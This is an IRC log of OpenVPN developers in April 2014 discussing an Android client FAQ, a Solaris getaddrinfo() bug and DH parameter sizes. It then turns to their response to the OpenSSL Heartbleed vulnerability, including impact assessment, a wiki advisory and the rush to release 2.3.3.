openvpn and busybox are already installed for you! or (#3) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the 07:43 <@vpnHelper> market 07:43 <+krzee> [08:43] <vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) Direct Play link: https://play.google.com/store/apps/details?id=de.blinkt.openvpn or (#3) Old (pre-ICS) device? See: !android-old 07:43 <@vpnHelper> Title: FAQ - ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 07:43 <@mattock> Trac wiki syntax allows settings arbitrary anchors: http://trac.edgewall.org/wiki/WikiFormatting#SettingAnchors 07:43 <+krzee> (in #openvpn) 07:43 <@vpnHelper> Title: WikiFormatting – The Trac Project (at trac.edgewall.org) 07:45 <@plai> mattock: cool 07:45 <@plai> krzee: it worked here too, but thanks 07:45 <+krzee> but its different here than there 07:46 <+krzee> didnt know if you knew that, because its kinda linked, but once something changes it loses its link 07:47 <@plai> krzee: I just wanted the FAQ of my app to add it to community.openvpn.net as a pointer 07:48 <+krzee> nice 07:49 <+krzee> "Tap Mode is not possible with the non root VPN API. Therefore this application cannot provide tap support" <-- with root can android use tap? 07:50 <@plai> with root you have normal linux apis 07:50 <@plai> and basically can just run a normal openvpn binary 07:51 <+krzee> i didnt know tap was working in the kernel but i guess why not 07:51 <+krzee> ya my phones run a normal openvpn binary 07:53 <@plai> my motivation to implement a root mode for tap is *very* low 07:54 <+krzee> haha i dont blame you i cant imagine needing that 07:55 <+krzee> surely someone is doing it wrong when they decide they want that 07:55 <@plai> well 07:55 <@plai> you I never managed multicast over tun with openvpn 07:56 <+krzee> true, i have never managed multicast at all 07:59 <+krzee> mattock, ok so then can you forward http://openvpn.net/faq.html to https://community.openvpn.net/openvpn/wiki/FAQ ? 07:59 <@vpnHelper> Title: FAQ Community Software (at openvpn.net) 08:01 <@mattock> krzee: I'll make a note of that 08:01 <@mattock> we could also add anchors to the links that lead to the community FAQ pages 08:02 <@mattock> so that at least the user is directed to the correct place on the community FAQ page 08:02 <+krzee> do we know what all the old anchors were? 08:02 <@mattock> probably not, but we know some 08:03 <@mattock> we can try if google remembers them 08:04 <@mattock> I will also add redirects to each individual article in Trac 09:03 <@ecrist> my wife is a signifcant anchor to my social life 09:03 <@ecrist> is that what you're wondering? 09:04 <+krzee> yes, we will add her to the faq 09:06 <@ecrist> heh 09:23 <@plai> ecrist: you count your wife as /old/ anchor? 09:35 <+krzee> oldest one he has :D 10:18 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 10:23 <@ecrist> I can send my girlfriends home. ;) 10:44 -!- LordDrako [~felix@dslb-188-102-182-084.pools.arcor-ip.net] has quit [Quit: Verlassend] 11:35 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: AF_INET ➙ AF_INET6] 11:36 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 11:36 -!- mode/#openvpn-devel [+o pekster] by ChanServ 14:38 -!- mattock is now known as mattock_afk 16:02 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services] 16:02 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel --- Day changed Sat Apr 05 2014 08:28 <@cron2> *sigh* 08:28 <@cron2> opensolaris' getaddrinfo() is just... <censored> 08:29 <@cron2> we pass hints.ai_socktype = SOCK_STREAM, we get back ai.ai_protocol = 0, instead of IPPROTO_TCP 08:30 <@cron2> plai: do you have a small getaddrinfo() test program that will just try to resolve "well known" things and dump out everything coming back? 13:31 <@plai> cron2: no, not really :/ 13:32 <@plai> cron2: @SOCK_STREAM, that sounds *really* broken 14:31 <@cron2> indeed 14:32 <@cron2> with a simple fix that will set (*res)->ai_protocol to IPPROTO_UDP/_TCP inside openvpn_getaddrinfo(), I have it back to functioning... but I'll write a test program next to really understand this 15:02 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn-devel 15:03 < reiffert> cron2: there's a guy on #openvpn running into autoconf issues. https://pastee.org/qge5j From looking at the github history it appears you made some adjustments to configure.ac just recently. 15:03 < reiffert> ibong is the guys name 15:04 <@cron2> reiffert: I do the commits, but other people do the changes 15:05 < reiffert> u mind looking at this? 15:05 <@cron2> actually, I do. I have no idea about autoconf, and *other people did these changes* 15:05 < reiffert> I hear ya 15:05 * cron2 tries to figure out why getaddrinfo() on OpenSolaris is breaking OpenVPN... 15:06 <@cron2> and that is really really strange... 15:06 < reiffert> endianess? 15:08 <@cron2> nah, this is on osol10/x86, but it's much more weird... inside openvpn, in the returned ai, ai_protocol is always "0", which assert()s later on in openvpn 15:08 <@cron2> in my test program, I can't even get it to resolve IPv6 addresses, only IPv4 ever returned 15:10 <@cron2> the same test program on NetBSD works perfectly fine 15:38 <@cron2> uh 15:38 <@cron2> indeed, it does NOT resolve IPv6 addresses inside OpenVPN either 15:42 < reiffert> ai_family is AF_INET6 when it fails? 15:44 <@cron2> yep. But this seems to be a local issue, after all, even "ping -A inet6 www.google.de" will not resolve IPv6 addresses. 15:44 <@cron2> something on this machine doesn't believe in IPv6 15:45 <@cron2> (this is actually not the original problem I was chasing, which is that ai->ai_protocol is always returned as "0", and I wanted to verify that this is indeed so, and stumbled across "hey, it should have IPv6 here?"...) 15:50 <@cron2> aaargh. that machine is using IPv6 transport to talk to it's DNS server, but is never ever asking for aaaa records 15:50 <@cron2> *hate* 15:53 <@cron2> argh. It's nsswitch.conf, after all, but it is not using the "hosts" line as normal OSes do, but the "ipnodes", and *that* one pointed to "files" only 15:58 <@cron2> so now i get IPv6 addresses, but still, in all cases, ai_proto is 0 16:11 < reiffert> any hints.ai_protocol = 0 in there? 16:12 <@cron2> setting ai_protocol in hints doesn't make a difference - result is still 0 (and on all other platforms, hints.ai_protocol goes in as 0, and res->ai_protocol is 6 or 17, depending on SOCK_DGRAM or SOCK_STREAM...) 16:12 <@cron2> tried that :) 16:17 <@cron2> ok, seems that is the way it is... will test against solaris10/sparc64 tomorrow ("physical box that needs to be turned on" :) ), and then send a patch... sleep now 16:26 < reiffert> gn8 17:06 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 246 seconds] 17:08 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 17:08 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Sun Apr 06 2014 11:20 <@syzzer> While adding the --dh "[none]" option to the EC-patchset, I stumbled across the advise in the manpage to use the sample dh1024.pem dh parameter file. I think we should - at least for master/2.4 - replace this with 2048 bits parameters. 11:21 <@syzzer> However, to prevent conspiracy theories, I think it's better when I'm not the one generating them ;) Anyone willing to generate and send a patch? 12:03 <+krzee> +1 on raising suggested dh params size 12:18 <@plai> hm 12:19 <@plai> why not simply add openssl gendh to the manpage? 12:21 <@syzzer> it is already there 12:23 <@plai> oh nevermind then 12:24 <@syzzer> but there's not really a good reason to make each user generate their own group parameters 12:25 <@plai> so baiscally you could also default to a builtin dh parameter if dh is left out 13:57 <@syzzer> yes, we could even do that 15:44 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services] 15:44 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 15:48 -!- Netsplit *.net <-> *.split quits: @mattock_afk, @raidz 15:48 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:48 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:48 -!- mode/#openvpn-devel [+oo mattock raidz] by ChanServ 23:41 <@plai> cron2: I don't think we should modify the addrinfo 23:44 <@plai> cron2: this should also work for solaris, right?: http://plai.de/.tmp/solaris.patch --- Day changed Mon Apr 07 2014 02:05 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:20 <@cron2> plai: this might work, yes (but then we could just check for ai_socktype, not ai_protocol in create_socket() - the double check is kind of redundant, since ai_socktype will always be set) 02:21 <@cron2> well, s/might/should/ 02:22 <@cron2> plai: I leave the decision how to tackle this to you - my patch works, but is sort of "not pretty", your patch would be fully in line with "we don't care what getaddrinfo() returns, it has to be good for socket()!" :-) 02:23 * cron2 wonders how the getaddrinfo()/socket() API looks like for sctp... so "if we were to support sctp one day, how would this code need to be adjusted?" 03:43 -!- waldner [waldner@openvpn/user/waldner] has left #openvpn-devel [] 07:58 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 08:06 <@plai> cron2: pretty similar 08:06 <@plai> just different hints 08:06 <@plai> if you leave out the hints on FreeBSD you get an UDP,TCP and SCTP answer 08:12 <@plai> ai_: flags=8, family=2, socktype=5, protocol=132 addrlen=16, addr='173.194.39.24' 08:29 <@cron2> what is 5/132? 08:30 <@cron2> ah, SEQPACKET. Solaris does have that as well :) 08:31 <@cron2> I wondered how "protocol 0" would distinguish between TCP and SCTP, then, but it seems you just use a different SOCK_ value. OK, sounds we go your way - it solves the problem with *less* code, not with more :-) 09:20 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Read error: Operation timed out] 09:25 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 09:26 -!- mode/#openvpn-devel [+o andj] by ChanServ 11:21 -!- raidz is now known as raidz_away 11:32 -!- raidz_away is now known as raidz 12:33 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 15:03 <@cron2> plai: your patch sort of works, but it will crash later on 15:03 <@cron2> phase2_tcp_client (struct link_socket *sock, struct signal_info *sig_info) 15:03 <@cron2> ASSERT (sock->info.lsa->current_remote->ai_protocol == IPPROTO_TCP); 15:05 <@cron2> taking that out fixes TCP... now waiting for t_client to reach UDP 15:07 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 15:08 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 15:08 <@cron2> double plai 15:10 -!- Netsplit *.net <-> *.split quits: @plai, @syzzer 15:11 <@cron2> plaisthos: in case you missed it, your patch needs amendments to phase2_tcp_client(), as that has 15:11 <@cron2> ASSERT (sock->info.lsa->current_remote->ai_protocol == IPPROTO_TCP); 15:11 <@cron2> ... taking this out makes it work for TCP, and UDP works "as is" 15:15 -!- Hes [AHO65@tunkki.fi] has joined #openvpn-devel 15:40 < Hes> Hi, did you discuss the openssl heartbleed bug already (CVE-2014-0346)? 15:41 * cron2 has no idea what a TLS heartbeat is, but has the suspicion that we're not using that 15:43 <@plaisthos> cron2: I think I have to look at the patch again 15:43 <@cron2> plaisthos: I've sent it to -devel, that version passes all tests 15:46 <@plaisthos> cron2: should I now ack my own patch? 15:47 <@cron2> well, since you didn't sent it, and it has my signed-off :-) - but feel free to re-send with your signed-off and author, and I ack it 15:47 <@cron2> I really don't care, I just wanted to have it on the list, after testing 15:49 <@cron2> hes: we don't use DTLS, so I think we're not affected 15:49 <@cron2> the page says "Bug is in the OpenSSL's implementation of the TLS/DTLS ... heartbeat extension" 15:51 <@cron2> otoh I prefer to leave that analysis to syzzer and james 16:14 < Hes> It's not DTLS specific, it's in TLS alright. nginx/apache are vulnerable, for example. http://heartbleed.com/ 16:14 <@vpnHelper> Title: Heartbleed Bug (at heartbleed.com) 17:17 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 17:17 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 17:27 <@syzzer> yay, more openssl bugs... 17:27 <@syzzer> http://heartbleed.com/ 17:27 <@vpnHelper> Title: Heartbleed Bug (at heartbleed.com) 18:46 <@syzzer> seems openvpn in vulnerable too, but: 18:46 <@syzzer> 1. the attack seems not possible during handshakes, so only authenticated clients can mount an attack (unless your config allows connecting w/o client certs, ofc) 18:46 <@syzzer> 2. TLS auth provides (yet again) an extra layer of security --- Day changed Tue Apr 08 2014 00:45 <+krzee> anyone know offhand if the openssl version that ships with windows vuln? 00:46 <+krzee> is vuln* 00:46 <+krzee> if its still using 1.0 branch or .9 branch its not vuln to this 00:48 <+krzee> is it possible / should we consider using polarssl on windows? 00:51 <+krzee> oh right 02:17 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:19 -!- LordDrako [~felix@dslb-188-102-182-084.pools.arcor-ip.net] has joined #openvpn-devel 02:51 <@cron2> syzzer: so what are we going to do about it? 03:05 <@syzzer> just in: client certs do not protect you, it was late last night and mistook the check in the heartbeat *sending* code for a check in the heartbeat *processing* code. 03:05 <@syzzer> so it's just TLS auth that protects our users 03:06 <@syzzer> cron2: I guess a security advisory would be nice 03:08 < Hes> If the clients are untrusted (if you're selling access to a service or the Internet over a VPN, to untrusted clients), you'd better have upgraded already. 03:12 <@syzzer> exactly 03:16 < Hes> So, advisory might be nice, to point this out. Also, if you're connecting to an untrusted VPN server (quite unlikely), I'm suspecting the server could attack a vulnerable client? 03:28 <@syzzer> yes 03:29 <@syzzer> sorry, I have multiple fires to extinguish right now, will be a bit more verbose later on 03:52 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Quit: ZNC - http://znc.in] 03:55 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 03:55 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:11 < Hes> "heartbeat request can be sent and is replied to during the handshake phase of the protocol. This occurs prior to client certificate authentication" (http://heartbleed.com/) - so basically, man-in-the-middle attack on a vulnerable client could be performed too, it'd seem, to steal client's private key 04:11 <@vpnHelper> Title: Heartbleed Bug (at heartbleed.com) 04:13 <@syzzer> it works both ways, yes. both client and server keys not protected by tls-auth should be considered compromised. 04:39 -!- Netsplit *.net <-> *.split quits: riddle, @d12fk, @plaisthos 04:39 -!- Netsplit over, joins: plaisthos 04:39 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 04:39 -!- Netsplit *.net <-> *.split quits: reiffert 04:40 -!- Netsplit *.net <-> *.split quits: @cron2, _bt 04:40 -!- Netsplit over, joins: riddle 04:41 -!- Netsplit *.net <-> *.split quits: @syzzer, @plaisthos, reators 04:41 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 04:41 -!- Netsplit over, joins: plaisthos 04:42 -!- Netsplit over, joins: reators 04:47 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:48 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 05:03 -!- Netsplit *.net <-> *.split quits: +krzee, @dazo_afk, @pekster, reators 05:04 -!- Netsplit over, joins: dazo_afk 05:04 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 05:04 -!- dazo_afk is now known as dazo 05:04 -!- Netsplit over, joins: reators 05:08 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 05:09 -!- mode/#openvpn-devel [+o pekster] by ChanServ 05:15 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 264 seconds] 05:16 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 05:16 -!- mode/#openvpn-devel [+o pekster] by ChanServ 05:18 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:18 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:27 -!- Netsplit *.net <-> *.split quits: siruf, @plaisthos, @raidz, riddle, @andj 05:27 -!- Netsplit over, joins: plaisthos 05:27 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:27 -!- Netsplit over, joins: andj 05:27 -!- mode/#openvpn-devel [+o andj] by ChanServ 05:28 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 05:28 -!- mode/#openvpn-devel [+o raidz] by ChanServ 05:36 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 06:17 -!- Sandfly [~ma1com10t@host-2-96-36-73.as13285.net] has joined #openvpn-devel 06:20 < Sandfly> Hi, is there any official word regarding the recent OpenSSL problem: https://forums.openvpn.net/topic15518.html 06:20 <@vpnHelper> Title: OpenVPN Support Forum URGENT: OpenVPN software needs to be fixed due to this bug : Wishlist (at forums.openvpn.net) 06:21 < Sandfly> How about a date of when to expect a build with updated openssl code ? 06:21 -!- Sandfly is now known as debbie10t 06:22 * debbie10t forums.openvpn.net Moderator. 06:28 -!- debbie10t [~ma1com10t@host-2-96-36-73.as13285.net] has quit [Ping timeout: 255 seconds] 06:29 -!- debbie10t [~ma1com10t@host-92-20-22-182.as13285.net] has joined #openvpn-devel 06:34 < debbie10t> Hi, is there any official word regarding the recent OpenSSL problem: https://forums.openvpn.net/topic15518.html 06:34 <@vpnHelper> Title: OpenVPN Support Forum URGENT: OpenVPN software needs to be fixed due to this bug : Wishlist (at forums.openvpn.net) 06:47 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 06:58 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 06:58 -!- mode/#openvpn-devel [+o cron2] by ChanServ 07:00 <@cron2> yay. 07:01 <@cron2> this bug is more pains than I expected, if you can attack the client as well (by mitm'ing) 07:06 < debbie10t> cron2; hi, is "this bug" related to this: https://forums.openvpn.net/topic15518.html 07:06 <@vpnHelper> Title: OpenVPN Support Forum URGENT: OpenVPN software needs to be fixed due to this bug : Wishlist (at forums.openvpn.net) 07:12 * cron2 wonders why people post "urgent! bug!" things to the *forum* instead of the bug tracker? 07:12 <@cron2> but yes, this is the issue 07:15 < debbie10t> ok thanks 07:16 <@cron2> d12fk: ayt? 07:16 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 252 seconds] 07:16 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Network is unreachable] 07:16 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 07:17 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 252 seconds] 07:17 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 07:17 -!- mode/#openvpn-devel [+o cron2] by ChanServ 07:17 <@cron2> shit network 07:17 <@cron2> d12fk: are you there? 07:18 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 252 seconds] 07:18 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds] 07:18 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Ping timeout: 252 seconds] 07:19 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 07:19 -!- mode/#openvpn-devel [+o pekster] by ChanServ 07:21 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 07:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:21 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 07:21 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:22 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 07:22 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 07:22 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 07:22 -!- dazo_afk is now known as dazo 07:22 <@cron2> d12fk: can we have IV_GUI_VER *now*? it would be really really useful to be able to identify a certain version of the "openssl windows binary package" 07:49 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 07:49 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 08:32 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 08:32 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 08:39 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:39 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:44 <@cron2> so. Anyone objecting against me doing a 2.3.3 *now*? So we can have fixed windows installers that are easily identifiable ("if it's not sending IV_VER=2.3.3, assume it's vulnerable and upgrade") --- Log closed Tue Apr 08 09:45:04 2014 --- Log opened Tue Apr 08 13:06:57 2014 13:06 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 13:06 -!- Irssi: #openvpn-devel: Total of 16 nicks [10 ops, 0 halfops, 1 voices, 5 normal] 13:06 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 13:06 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 13:08 <@mattock> it seems 2.2.2 is not affected, because it includes openssl 1.0.0e 13:08 <@d12fk> mattock: still around 13:08 <@d12fk> obviously 13:08 <@mattock> yes, as you can see :D 13:09 <@d12fk> i got the gui working you'll recv a binary soon 13:09 <@ecrist> what is the env var that will be passed from the GUI in 2.3.3? 13:09 <@ecrist> I'm writing an official forum post on this heartbleed thing 13:11 <@mattock> d12fk: ok, great! 13:15 <@mattock> openvpn 2.2-alpha2 is not vulnerable (openssl 1.0.0j) 13:17 <@mattock> sorry, meant to say 2.3-alpha2 13:17 <@mattock> 2.3-rc2 also has 1.0.0j 13:17 <@d12fk> samuli@openvpn.net right? 13:21 <@mattock> 2.3.2-rc2-I001 has 1.0.1c 13:21 <@mattock> d12fk: yes 13:22 <@d12fk> you should have it in you rinbox 13:24 <@d12fk> hm maybe not, my amavis smarted me out 13:24 <@mattock> 2.3-rc1-I003 has 1.0.0j 13:25 <@mattock> so 2.3.2-rc2-I001 is the first installer that's affected by this vulnerability 13:25 <@mattock> I'll add notes to syzzer's wiki page 13:26 <@d12fk> mattock: http://people.astaro.com/hhund/openvpn-gui.exe 13:26 <@mattock> syzzer: where's the wiki page you wrote? 13:27 <+krzee> lol i like the polarssl heartbleed advisory says "Switch to PolarSSL or upgrade to the latest version of OpenSSL." 13:28 <@syzzer> mattock: https://community.openvpn.net/openvpn/wiki/heartbleed 13:28 <@vpnHelper> Title: heartbleed – OpenVPN Community (at community.openvpn.net) 13:28 <+krzee> syzzer, maybe worth noting that openvpn connect uses polarssl so is not affected 13:29 <@syzzer> krzee: yeah, I lol'ed too when reading that 13:29 <@mattock> syzzer: did you link to that page from the wiki front page? 13:29 <@syzzer> mattock: no, good point, still have to do that 13:30 <@mattock> syzzer: I'll hack and slash your article a bit 13:31 <+krzee> mattock, maybe worth linking to syzzer's page from http://openvpn.net/index.php/open-source/downloads.html where it mentions heartbleed 13:31 <@vpnHelper> Title: Downloads (at openvpn.net) 13:34 <@cron2> re 13:34 <@cron2> syzzer: you're still there? I wonder about something - does the exploit need TLS 1.1/1.2, or is "any TLS" good enough? 13:38 <@syzzer> cron2: good question, can't find it immediately in the RFC's. I'll take a peek in the openssl code 13:39 <@syzzer> cron2: "any TLS", even SSLv3 in OpenSSL 13:42 <@cron2> baaah. "1.1 and up" would have so nicely saved our ass, because no *released* version of OpenVPN 2.x before 2.3.3 has the "tls negotiation" code in it... 13:43 <@cron2> so, what about UDP? How does this work in UDP mode? 13:43 <@cron2> (sorry if I sound like i'm repeating myself, but I really want to understand the impact) 13:44 <@mattock> syzzer: updated "Windows client" section on the page 13:46 <@cron2> mattock: which GUI is in the I1004 version? 13:46 <@mattock> cron2: the same as in 2.3.2-I003 13:46 <@mattock> whatever that was/is 13:46 <@mattock> I didn't modify anything except openssl in that build 13:47 <@cron2> ic (but the question is slightly moot as the openvpn itself doesn't support IV_GUI_VER yet anyway) 13:48 <@d12fk> windows users can always right click on the openssl DLLs and see the version information there if unsure 13:48 <@syzzer> cron2: UDP works the same as TCP, the openvpn 'reliability layer' takes care of the connection parts 13:48 <@cron2> syzzer: meh. So we nicely split the 64k response into smaller chunks for the attacker 13:49 <@syzzer> yup 13:49 <+krzee> for the wiki: 13:49 <+krzee> [14:48] <novaflash> hello people 13:49 <+krzee> [14:49] <novaflash> just wanted to bring you guys up to date that openvpn ACCESS SERVER does not use the system's own libs 13:49 <+krzee> [14:49] <novaflash> it uses its own bundled set 13:49 <+krzee> [14:49] <novaflash> if anyone asks about access server, direct them to our channel or let them know version 2.0.6 is out, and that we also have patched libs available 13:49 <+krzee> [14:49] <krzee> does it use polar or open? 13:49 <+krzee> [14:49] <novaflash> versions 1.8.1 -> 2.0.5 are affected, older and newer versions are okay 13:49 <+krzee> [14:50] <novaflash> it uses openssl 13:49 <@d12fk> "64k ought to be enough for anybody" 13:50 <@d12fk> something like that 13:51 <+krzee> i would add it myself, but i have a feeling others are currently modifying that page and dont want to submit without their additions 13:53 <+krzee> [14:53] <novaflash> Access Server 2.0.6 is out and addresses the heartbleed vulnerability. Binary patches are at http://swupdate.openvpn.org/hb/ and are meant for versions 1.8.1 --> 2.0.5. 13:53 <@vpnHelper> Title: Index of /hb/ (at swupdate.openvpn.org) 13:57 <@cron2> novaflash: how annoying, seems I need to upgrade my AS, then... 13:57 <+krzee> haha 13:59 <@mattock> added info about Access Server to the heartbleed wiki page 13:59 <@mattock> got to split now, hopefully the world does not explode while I'm sleeping :P 13:59 <@andj> mattock: like yesterday? 13:59 <@cron2> mattock: you said "Thursday" in regards to 2.3.2? 13:59 <@mattock> didn't even have time to make the tap-windows6 installer announcement today... 13:59 <@cron2> 2.3.3 14:00 <@mattock> yes, thursday 14:00 <@andj> hi everyone, just checking in 14:00 <@mattock> andj: ah yes, hi! :) 14:00 <@andj> :) 14:00 <@cron2> mattock: busy tomorrow? 14:01 <@mattock> well, it depends... I _could_ do 2.3.3 tomorrow also, if there's a pressing reason 14:01 <@mattock> I didn't intend to work tomorrow 14:01 <@cron2> it makes server admins' lifes much easier to be able to see the client version *and* know the client is fixed 14:02 <@mattock> ah so 2.3.3 helps in this regard? 14:02 <@cron2> 2.3.2 doesn't yet do this (it sends "2.3.2" but we don't know which one) 14:02 <@mattock> ok, no problem, I can push out 2.3.3 tomorrow also 14:02 <@cron2> cool :-) (and sorry for ruining your no-work day) 14:02 <@mattock> np, this is quite important to get fixed 14:02 <@mattock> anyways, good night guys! 14:02 * cron2 wants to push all his users/colleagues to upgrade to 2.3.3, and then block everything on the server that is older-and-windows 14:03 <@cron2> mattock: thanks, g'night 14:07 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 14:08 <@syzzer> ah, mattock takes his sleep very seriously 14:08 <@cron2> sle-what? 14:44 <@ecrist> hehehe. forum is not vulnerable because I'm a lazy ass. 14:45 <@cron2> ecrist: that's the spirit :) 14:51 < debbie10t> ecrist: not sure I go along with your thread .. https://forums.openvpn.net/topic15526.html 14:51 <@vpnHelper> Title: OpenVPN Support Forum CVE-2014-0160 / Heartbleed : Off Topic, Related (at forums.openvpn.net) 14:57 <@ecrist> debbie10t: ? 14:58 < debbie10t> I am reading with interest .. but it seems a little confused (discuss here .. don't discuss here .. book a ticket on an unrelated system) 14:58 <@ecrist> debbie10t: people are asking questions unrelated to this security issue 14:59 <@cron2> it's not really "unrelated" - that is the official bug tracker. The forum is, well, a forum. I don't go there. 14:59 <@cron2> and I'm most certainly not going to hunt in other people's blogs for potential OpenVPN issues that I might want to fix in my copious free time 14:59 <@ecrist> cron2: someone asked multiple questions, one of which was unrelated to the thread topic. I suggested they file a ticket. 14:59 <@cron2> ecrist: understood, and I agree with you 15:00 <@cron2> if someone wants a bug to be fixed, trac or openvpn-devel is the *only* way to ensure it does not get lost 15:00 <@ecrist> ++ 15:00 <+krzee> is http://sourceforge.net/projects/openvpn-gui/ what we use? 15:00 <@vpnHelper> Title: OpenVPN GUI | Free Security & Utilities software downloads at SourceForge.net (at sourceforge.net) 15:00 <@ecrist> yes 15:00 <@cron2> my "unrelated" comment above referred to the "book a ticket on an unrelated system" 15:02 < debbie10t> ecrist: got it .. sorry was confusing that page with the OV AS portal 15:03 <@ecrist> try following the link. ;) 15:04 < debbie10t> too many pages open .. too much wine .. too much irc !!! melt down ;) 15:04 <@d12fk> krzee: yes 15:26 <@cron2> why on earth is "openvpn --version" spitting out cats and dogs, but not reporting the openssl version in use...? 15:26 <@cron2> who are the coders that build this crap 15:27 * cron2 looks annoyed in the mirror 15:35 <@ecrist> lol 15:58 < debbie10t> why on earth indeed ? 16:26 < debbie10t> OpenVPN 2.3.2 i686-w64-mingw32 [SSL (OpenSSL)] [LZO] [PKCS11] [eurephia] [IPv6] built on Apr 8 2014 18:40 -!- debbie10t [~ma1com10t@host-92-20-22-182.as13285.net] has quit [Read error: Connection reset by peer] 23:22 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:22 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 23:22 -!- mattock_afk is now known as mattock 23:34 <@mattock> cron2: did you tag the v2.3.3 release? 23:37 <@mattock> I'll produce the builds from 896282752963 ("Preparing for v2.3.3") 23:37 <@mattock> git tag -l shows only v2.3.2 and older --- Day changed Wed Apr 09 2014 00:35 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 01:44 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:44 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:29 <@cron2> mattock: huh. I did, but maybe I forgot to push the tags. Lemme check 02:30 <@mattock> ok 02:30 <@mattock> I'm also having trouble running "make dist-<something>" 02:30 <@mattock> it seems configure et al think that the version is 2.3_git 02:30 <@mattock> trying to figure out why 02:31 <@cron2> now we're talking :) 02:31 <@cron2> * [new tag] v2.3.3 -> v2.3.3 02:32 <@mattock> nice! 02:35 <@cron2> git push --tags, I always forget... 02:36 <@mattock> cron2: do you get errors when running ./configure --disable-snappy on pristine sources: 02:36 <@mattock> configure.ac:384: error: possibly undefined macro: AC_LIBTOOL_WIN32_DLL 02:37 <@cron2> mattock: no (but you shouldn't need --disable-snappy anyway, as that's not part of 2.3.x) 02:37 <@mattock> this is on master actually 02:37 <@cron2> reiffert reported last week that "a user had problems with configure", the error could have been the same 02:38 <@mattock> I'll retry on a different OS 02:38 <@cron2> but no, all my 